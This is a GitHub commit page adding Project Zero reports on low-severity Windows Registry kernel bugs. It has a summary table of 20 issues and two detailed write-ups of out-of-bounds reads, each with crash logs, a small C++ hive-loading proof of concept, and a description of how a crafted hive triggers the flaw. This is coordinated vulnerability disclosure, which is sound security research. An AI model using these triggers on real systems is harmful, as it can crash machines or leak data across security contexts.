Skip to content

Commit

Permalink
Add Windows Registry low severity bugs
Browse files Browse the repository at this point in the history
  • Loading branch information
j00ru committed Apr 18, 2024
1 parent ffedbf3 commit 82efa99
Show file tree
Hide file tree
Showing 41 changed files with 2,702 additions and 0 deletions.
30 changes: 30 additions & 0 deletions WinRegLowSeverityBugs/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
# Microsoft Windows Registry Low/Unclear Severity Bugs

This repository contains the descriptions and proof-of-concept exploits of 20 issues with low or unclear security impact found in the Windows Registry. They were reported to Microsoft between November 2023 and January 2024. Six of them were fixed by the vendor in the March 2024 Patch Tuesday, while the other fourteen were closed as WontFix/vNext. The bugs were identified during my registry research in 2022-2024, alongside the [39 vulnerabilities](https://bugs.chromium.org/p/project-zero/issues/list?q=finder%3Amjurczyk%20product%3Akernel%20opened%3E2022-05-01%20opened%3C2024-01-01&can=1) filed in the Project Zero bug tracker with the 90-day deadline.

For more information about the research, please see the blog post series starting with [The Windows Registry Adventure #1: Introduction and research results](https://googleprojectzero.blogspot.com/2024/04/the-windows-registry-adventure-1.html), as well as the [Exploring the Windows Registry as a powerful LPE attack surface](https://j00ru.vexillium.org/talks/bluehat-exploring-the-windows-registry-as-a-powerful-lpe-attack-surface/) presentation from BlueHat Redmond 2023. At the time of this writing, further talks about the registry are planned this year at [OffensiveCon](https://www.offensivecon.org/), [CONFidence](https://confidence-conference.org/) and [REcon](https://recon.cx/).

The issues are summarized in the table below:

ID|Title|Status|CVE
-----|-----|-----|-----
1|[Windows Kernel out-of-bounds read of key node security in CmpValidateHiveSecurityDescriptors when loading corrupted hives](Reports/01\_Key\_node\_Security\_OOB\_read)|Fixed in March 2024|CVE-2024-26174
2|[Windows Kernel out-of-bounds read when validating symbolic links in CmpCheckValueList](Reports/02\_SymbolicLinkValue\_OOB\_read)|Fixed in March 2024|CVE-2024-26176
3|[Windows Kernel pool-based buffer overflow when parsing deeply nested key paths in CmpComputeComponentHashes](Reports/03\_CmpComputeComponentHashes\_nested\_path\_overflow)|WontFix/vNext|-
4|[Windows Kernel allows the creation of stable subkeys under volatile keys via registry transactions](Reports/04\_Transacted\_stable\_under\_volatile\_keys)|Fixed in March 2024|CVE-2024-26173
5|[Windows Kernel lightweight transaction reference leak in CmpTransReferenceTransaction](Reports/05\_CmpTransReferenceTransaction\_reference\_leak)|WontFix/vNext|-
6|[Windows Kernel pool-based out-of-bounds read in CmpRmReDoPhase when restoring registry transaction logs](Reports/06\_CmpRmReDoPhase\_transaction\_GUID\_OOB\_read)|WontFix/vNext|-
7|[Windows Kernel NULL pointer dereference in CmpLightWeightPrepareSetSecDescUoW](Reports/07\_CmpLightWeightPrepareSetSecDescUoW\_NULL\_pointer\_dereference)|WontFix/vNext|-
8|[Windows Kernel infinite loop in CmpDoReOpenTransKey when recovering a corrupted transaction log](Reports/08\_CmpDoReOpenTransKey\_infinite\_path\_splitting\_loop)|vNext (fixed in Insider Preview)|-
9|[Windows Kernel NULL pointer dereference in NtDeleteValueKey](Reports/09\_NtDeleteValueKey\_NULL\_pointer\_dereference)|WontFix|-
10|[Windows Kernel user-triggerable crash in CmpKeySecurityIncrementReferenceCount via unreferenced security descriptors](Reports/10\_CmpKeySecurityIncrementReferenceCount\_zero\_refcount\_crash)|WontFix/vNext|-
11|[Windows Kernel memory leak in VrpPostOpenOrCreate when propagating error conditions](Reports/11\_VrpPostOpenOrCreate\_error\_handling\_memory\_leak)|WontFix/vNext|-
12|[Windows Kernel unsafe behavior in CmpUndoDeleteKeyForTrans when transactionally re-creating registry keys](Reports/12\_CmpUndoDeleteKeyForTrans\_unsafe\_behavior)|Fixed in March 2024|CVE-2024-26177
13|[Windows Kernel security descriptor linked list confusion in CmpLightWeightPrepareSetSecDescUoW](Reports/13\_CmpLightWeightPrepareSetSecDescUoW\_security\_list\_confusion)|Fixed in March 2024|CVE-2024-26178
14|[Windows overly permissive access rights set on the HKCU\Software\Microsoft\Input\TypingInsights registry key](Reports/14\_HKCU\_TypingInsights\_permissive\_access\_rights)|WontFix/vNext|-
15|[Windows Kernel registry quota exhaustion may lead to permanent corruption of the SAM database](Reports/15\_Registry\_quota\_exhausted\_SAM\_corruption)|Fixed in March 2024|CVE-2024-26181
16|[Windows Kernel integer overflow of big data chunk count when handling very long registry values](Reports/16\_Registry\_value\_big\_data\_count\_overflow)|WontFix/vNext|-
17|[Windows Kernel fails to correctly unlink KCBs from discard replace context in CmpCleanupDiscardReplacePost](Reports/17\_CmpCleanupDiscardReplacePost\_bad\_KCB\_unlinking)|WontFix/vNext|-
18|[Windows Kernel returns success in an error path of HvCheckBin during registry hive sanitization](Reports/18\_HvCheckBin\_incorrect\_return\_value)|WontFix/vNext|-
19|[Windows Kernel VRegDriver registry callback doesn't handle key renaming](Reports/19\_VrpRegistryCallback\_unhandled\_key\_rename)|WontFix/vNext|-
20|[Windows Kernel enforcement of registry app hive security is inconsistent with documentation](Reports/20\_App\_hive\_security\_inconsistencies)|WontFix/vNext|-
Original file line number Diff line number Diff line change
@@ -0,0 +1,60 @@
# Windows Kernel out-of-bounds read of key node security in CmpValidateHiveSecurityDescriptors when loading corrupted hives

One of the first steps when loading a new registry hive from disk in Windows is to verify its structural correctness in the internal `CmCheckRegistry` kernel function. After checking the bin and cell-level correctness, the routine validates the security descriptors by calling `CmpValidateHiveSecurityDescriptors`. The latter function then proceeds to resolve the root key node and its security descriptor cell index, and then traverses the linked list and validates each descriptor found on its way.

The problem described in this report is the fact that `CmpValidateHiveSecurityDescriptors` accesses the `_CM_KEY_NODE.Security` member (at offset 0x2C) of the root key node without first making sure that the cell pointed to by `_HHIVE.BaseBlock.RootCell` is at least 76 bytes long (the smallest valid size of `_CM_KEY_NODE`). Such a check does indeed occur later in the code while checking each key in the key tree as part of `CmpCheckKey`, but that only happens after the execution of `CmpValidateHiveSecurityDescriptors` -- and before that, there are no guarantees regarding the structure of any particular key node. Therefore, if an attacker attempts to load a corrupted hive with the `RootCell` pointing at a valid but small (e.g. four bytes) cell right at the end of the last bin, the access to `_CM_KEY_NODE.Security` will result in reading memory outside the bounds of the hive mapping.

Straightforward exploitation of the bug is largely prevented by the fact that even if `CmpValidateHiveSecurityDescriptors` doesn't crash and completes successfully, the subsequent call to `CmpCheckKey` will immediately spot that the root cell is not a valid key node structure and will reject the hive as a whole. This severely limits the ability to leak any data directly, but the issue does show some potential for indirect exploitation, because:

- It is possible that a view of a more privileged hive (e.g. a system or another user's hive) will be mapped directly adjacent to the attacker's hive in the user address space of the Registry process, making the out-of-bounds `_CM_KEY_NODE.Security` member point into sensitive data from another security context,
- It is likely possible to infer some properties of the uint32 value via side channels, e.g. by timing whether the call `HvIsCellAllocated(_CM_KEY_NODE.Security)` succeeded or failed, and whether it was processed further as a seemingly valid security cell or not.

As shown above, it seems theoretically possible to disclose a limited amount of information from an external hive by abusing this bug, but we haven't further investigated the practical chances or specific exploitation techniques. We are leaving it up to MSRC to assess whether this issue warrants a fix in a security bulletin or not.

Attached is a specially crafted hive file with a small root cell placed at the end of the bin, and a simple command line program to load it as an app hive. In typical conditions, the hive mapping is followed by unmapped memory and the invalid access leads to a kernel bugcheck. An example crash log, generated on Windows 11 22H2 (November 2023 update, build 22621.2715), is shown below:

```
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
SYSTEM_SERVICE_EXCEPTION (3b)
An exception happened while executing a system service routine.
Arguments:
Arg1: 00000000c0000005, Exception code that caused the bugcheck
Arg2: fffff805724b84c6, Address of the instruction which caused the bugcheck
Arg3: ffffd6000807c270, Address of the context record for the exception that caused the bugcheck
Arg4: 0000000000000000, zero.
[...]
CONTEXT: ffffd6000807c270 -- (.cxr 0xffffd6000807c270)
rax=0000026af0181ffc rbx=ffff918df5559000 rcx=ffff918df5559000
rdx=0000026af0181000 rsi=0000026af0181ffc rdi=ffffd6000807cd78
rip=fffff805724b84c6 rsp=ffffd6000807cc90 rbp=ffffd6000807cce8
r8=ffffd6000807ccd4 r9=0000000000000000 r10=ffff918df5559000
r11=0000000000000ff8 r12=ffffd6000807cd78 r13=ffff918df76d1300
r14=ffff918df2ced5b0 r15=0000000000000040
iopl=0 nv up ei pl nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00050206
nt!CmpValidateHiveSecurityDescriptors+0xe6:
fffff805`724b84c6 448b662c mov r12d,dword ptr [rsi+2Ch] ds:002b:0000026a`f0182028=????????
Resetting default scope
PROCESS_NAME: Registry
STACK_TEXT:
ffffd600`0807cc90 fffff805`7257b589 : ffff918d`f5559000 ffff918d`03190001 ffffd600`0807ce00 ffffd600`0807cd78 : nt!CmpValidateHiveSecurityDescriptors+0xe6
ffffd600`0807cd30 fffff805`7248ff2c : 00000000`00000000 ffffd600`03190001 00000000`00000000 ffff918d`00010000 : nt!CmCheckRegistry+0x141
ffffd600`0807ce00 fffff805`7248ccd1 : ffffd600`0807d788 ffff800f`2a4fb001 00000000`03190001 ffffd600`0807d0d4 : nt!CmpCreateHive+0x474
ffffd600`0807d060 fffff805`7248ca2d : 00000000`00000000 fffff805`72542437 ffffd600`0807d3c0 ffffd600`0807d3a8 : nt!CmpInitHiveFromFile+0x225
ffffd600`0807d230 fffff805`724b70c8 : ffffffff`ffffffff fffff805`72a13d00 00000000`00000180 ffff918d`ec372000 : nt!CmpCmdHiveOpen+0xd9
ffffd600`0807d320 fffff805`724c2765 : 00000000`00000000 ffffd600`00000010 00000000`00000000 00000000`00000001 : nt!CmLoadAppKey+0x2cc
ffffd600`0807d680 fffff805`724c33fd : 00007ff8`35b09860 00000000`00000014 ffffd600`0807dae0 ffffc13f`fc1ad848 : nt!CmLoadDifferencingKey+0x711
ffffd600`0807da00 fffff805`7222b6e5 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!NtLoadKeyEx+0x5d
ffffd600`0807da70 00007ff8`38791584 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x25
```

This report outlines findings that fall outside of Project Zero's standard 90-day disclosure policy due to their unclear or low security impact. While we strive to assess security issues accurately, if you suspect anything in this report poses a significant risk, please contact us immediately to request a 90-day disclosure deadline. Please note that reports without a disclosure deadline may be discussed or referenced publicly in the future. We will make an effort to inform you in advance if this occurs.
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
#include <Windows.h>

#include <cstdio>

int main(int argc, char** argv) {
if (argc != 2) {
printf("Usage: %s <hive file>\n", argv[0]);
return 1;
}

HKEY hkey;
LONG st = RegLoadAppKeyA(argv[1], &hkey, KEY_ALL_ACCESS, 0, 0);
if (st != ERROR_SUCCESS) {
printf("RegLoadAppKeyA failed with error %d\n", st);
} else {
printf("Hive successfully loaded\n");
RegCloseKey(hkey);
}

return 0;
}
Binary file not shown.
Original file line number Diff line number Diff line change
@@ -0,0 +1,58 @@
# Windows Kernel out-of-bounds read when validating symbolic links in CmpCheckValueList

When loading a new hive from disk, the Windows kernel validates the structure of the hive to make sure it is formatted correctly and adheres to all of the registry-specific requirements. One such requirement is that if a registry key is a symbolic link (it has the 0x10 flag set in `_CM_KEY_NODE.Flags`), then it may contain no more than one value, and that value must be named "SymbolicLinkValue". This is indeed enforced in the internal kernel function `CmpCheckValueList`, but there is a bug: the code simply compares the `_CM_KEY_VALUE.Name` buffer with the 17-byte ASCII string "SymbolicLinkValue", but doesn't take other aspects of the value cell into account:

1. It assumes that the name is compressed (i.e. represented as 8-bit ASCII) while in fact it may be a 16-bit wide char string (if the 0x1 flag is clear in `_CM_KEY_VALUE.Flags`).
2. It assumes that the name length is 17 characters, while in fact it may be arbitrarily shorter or longer.

This may lead to two problems. Firstly, the check can be effectively bypassed by manipulating the length and compression flag, making it possible to have a symlink key with a value named differently than "SymbolicLinkValue". Secondly, if the actual name of the value is shorter than 17 bytes and the value cell is placed right at the end of the last bin in the hive, the check will cause an out-of-bounds read relative to the hive mapping. However, because the presumed `memcmp()` call is inlined by the compiler as two 64-bit comparisons and one 8-bit comparison, together with the 8-byte alignment of cells, this makes any potential information disclosure likely impractical. We believe that the best an attacker could do is to leak whether the first eight bytes of the adjacent memory page are equal to "Symbolic" or "LinkValu", or whether the first byte of the next page is equal to "e".

Attached is a specially crafted hive file containing a symbolic link key and its corresponding REG_LINK value with a truncated "Symbolic" name placed at the end of the bin, together with a simple command line program to load it as an app hive. In typical conditions, the hive mapping is followed by unmapped memory and the invalid access leads to a kernel bugcheck. An example crash log, generated on Windows 11 22H2 (November 2023 update, build 22621.2715), is shown below:

```
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
SYSTEM_SERVICE_EXCEPTION (3b)
An exception happened while executing a system service routine.
Arguments:
Arg1: 00000000c0000005, Exception code that caused the bugcheck
Arg2: fffff8005f0d7a57, Address of the instruction which caused the bugcheck
Arg3: fffffb07d06ad040, Address of the context record for the exception that caused the bugcheck
Arg4: 0000000000000000, zero.
[...]
CONTEXT: fffffb07d06ad040 -- (.cxr 0xfffffb07d06ad040)
rax=ffffdc09ada1a000 rbx=fffffb07d06add78 rcx=0000000000000000
rdx=0000000000000001 rsi=ffffdc09ad5cb3e0 rdi=ffffdc09ad82e08c
rip=fffff8005f0d7a57 rsp=fffffb07d06ada60 rbp=fffffb07d06adb39
r8=0000000000000008 r9=0000000000000001 r10=ffffdc09ad82e000
r11=0000000000000001 r12=0000000000000000 r13=ffffdc09ad82e000
r14=0000000000000fe0 r15=000001b30cdd1fe4
iopl=0 nv up ei pl zr na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00050246
nt!CmpCheckValueList+0x19ab77:
fffff800`5f0d7a57 498b4f1c mov rcx,qword ptr [r15+1Ch] ds:002b:000001b3`0cdd2000=????????????????
Resetting default scope
PROCESS_NAME: Registry
STACK_TEXT:
fffffb07`d06ada60 fffff800`5ef3b593 : ffffdc09`ad82e000 ffffdc09`ad82e000 ffffdc09`ad5cb3e0 00000000`ffffffff : nt!CmpCheckValueList+0x19ab77
fffffb07`d06adb80 fffff800`5ef3da16 : ffffdc09`ad82e000 00000000`03190001 ffffdc09`000000f0 00000000`00000078 : nt!CmpCheckKey+0xf63
fffffb07`d06adc80 fffff800`5ef7b5c0 : ffffdc09`00000001 ffffdc09`03190001 fffffb07`d06add78 fffffb07`00000000 : nt!CmpCheckRegistry2+0xe6
fffffb07`d06add30 fffff800`5ee8ff2c : 00000000`00000000 fffffb07`03190001 00000000`00000000 ffffdc09`00010000 : nt!CmCheckRegistry+0x178
fffffb07`d06ade00 fffff800`5ee8ccd1 : fffffb07`d06ae788 ffffa406`78cfd001 00000000`03190001 fffffb07`d06ae0d4 : nt!CmpCreateHive+0x474
fffffb07`d06ae060 fffff800`5ee8ca2d : 00000000`00000000 fffff800`5ef42437 fffffb07`d06ae3c0 fffffb07`d06ae3a8 : nt!CmpInitHiveFromFile+0x225
fffffb07`d06ae230 fffff800`5eeb70c8 : ffffffff`ffffffff fffff800`5f413d00 00000000`00000180 ffffdc09`aa7d1000 : nt!CmpCmdHiveOpen+0xd9
fffffb07`d06ae320 fffff800`5eec2765 : 00000000`00000000 fffffb07`00000010 00000000`00000000 00000000`00000001 : nt!CmLoadAppKey+0x2cc
fffffb07`d06ae680 fffff800`5eec33fd : 00007ffc`fc379860 00000000`00000014 fffffb07`d06aeae0 ffff803f`fe7e1bc8 : nt!CmLoadDifferencingKey+0x711
fffffb07`d06aea00 fffff800`5ec2b6e5 : 00000000`00000000 00000000`00000000 00000000`00000000 00000088`b8cff2a8 : nt!NtLoadKeyEx+0x5d
fffffb07`d06aea70 00007ffc`feb31584 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x25
```

This report outlines findings that fall outside of Project Zero's standard 90-day disclosure policy due to their unclear or low security impact. While we strive to assess security issues accurately, if you suspect anything in this report poses a significant risk, please contact us immediately to request a 90-day disclosure deadline. Please note that reports without a disclosure deadline may be discussed or referenced publicly in the future. We will make an effort to inform you in advance if this occurs.
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
#include <Windows.h>

#include <cstdio>

int main(int argc, char** argv) {
if (argc != 2) {
printf("Usage: %s <hive file>\n", argv[0]);
return 1;
}

HKEY hkey;
LONG st = RegLoadAppKeyA(argv[1], &hkey, KEY_ALL_ACCESS, 0, 0);
if (st != ERROR_SUCCESS) {
printf("RegLoadAppKeyA failed with error %d\n", st);
} else {
printf("Hive successfully loaded\n");
RegCloseKey(hkey);
}

return 0;
}
Binary file not shown.
Loading

0 comments on commit 82efa99

Please sign in to comment.